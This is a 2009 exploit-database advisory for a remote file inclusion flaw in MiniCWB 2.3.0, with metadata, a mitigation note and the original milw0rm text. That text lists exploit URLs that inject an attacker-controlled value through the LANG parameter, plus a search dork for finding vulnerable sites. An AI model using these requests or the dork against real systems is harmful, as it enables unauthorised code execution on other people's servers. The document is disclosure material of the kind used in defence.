MiniCWB 2.3.0 Multiple Remote File Inclusion Vulnerability

vendor:

MiniCWB

by:

NoGe

7,5

CVSS

HIGH

Remote File Inclusion

CWE

Product Name: MiniCWB

Affected Version From: 2.3.0

Affected Version To: 2.3.0

Patch Exists: Yes

Related CWE: N/A

CPE: a:grafxsoftware:minicwb:2.3.0

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2009

MiniCWB 2.3.0 Multiple Remote File Inclusion Vulnerability

MiniCWB version 2.3.0 is vulnerable to multiple remote file inclusion vulnerability. An attacker can exploit this vulnerability by sending a malicious URL in the 'LANG' parameter of the vulnerable file. This can allow the attacker to execute arbitrary code on the vulnerable system.

Mitigation:

The user should upgrade to the latest version of MiniCWB and ensure that all user input is validated before being used.

Source

Exploit-DB raw data:

================================================================================================


  [o] MiniCWB 2.3.0 Multiple Remote File Inclusion Vulnerability

       Software : MiniCWB version 2.3.0
       Vendor   : http://www.grafxsoftware.com/
       Download : http://www.grafxsoftware.com/login.php?action=form&url=download.php
       Author   : NoGe
       Contact  : noge[dot]code[at]gmail[dot]com
       Blog     : http://evilc0de.blogspot.com


================================================================================================


  [o] Vulnerable file


       include($LANG.".extra.php");

        language/en.inc.php
        language/hu.inc.php
        language/no.inc.php
        language/ro.inc.php
        language/ru.inc.php




  [o] Exploit

       http://localhost/[path]/language/en.inc.php?LANG=[evilc0de]
       http://localhost/[path]/language/hu.inc.php?LANG=[evilc0de]
       http://localhost/[path]/language/no.inc.php?LANG=[evilc0de]
       http://localhost/[path]/language/ro.inc.php?LANG=[evilc0de]
       http://localhost/[path]/language/ru.inc.php?LANG=[evilc0de]



  [o] Dork

       "Powered by MiniCWB"


================================================================================================


  [o] Greetz

       MainHack BrotherHood [ http://news.serverisdown.org ]
       Vrs-hCk OoN_BoY Paman bL4Ck_3n91n3 Angela Zhang
       H312Y yooogy mousekill }^-^{ loqsa zxvf
       skulmatic OLiBekaS ulga Cungkee k1tk4t str0ke



  [o] Special

       All victim Jakarta Explosion in JW Marriot and The Ritz-Carlton [ Friday July 17 2009 ]
       fuck terorism!! you're not make us afraid but you make us more stronger.

        
================================================================================================

# milw0rm.com [2009-07-20]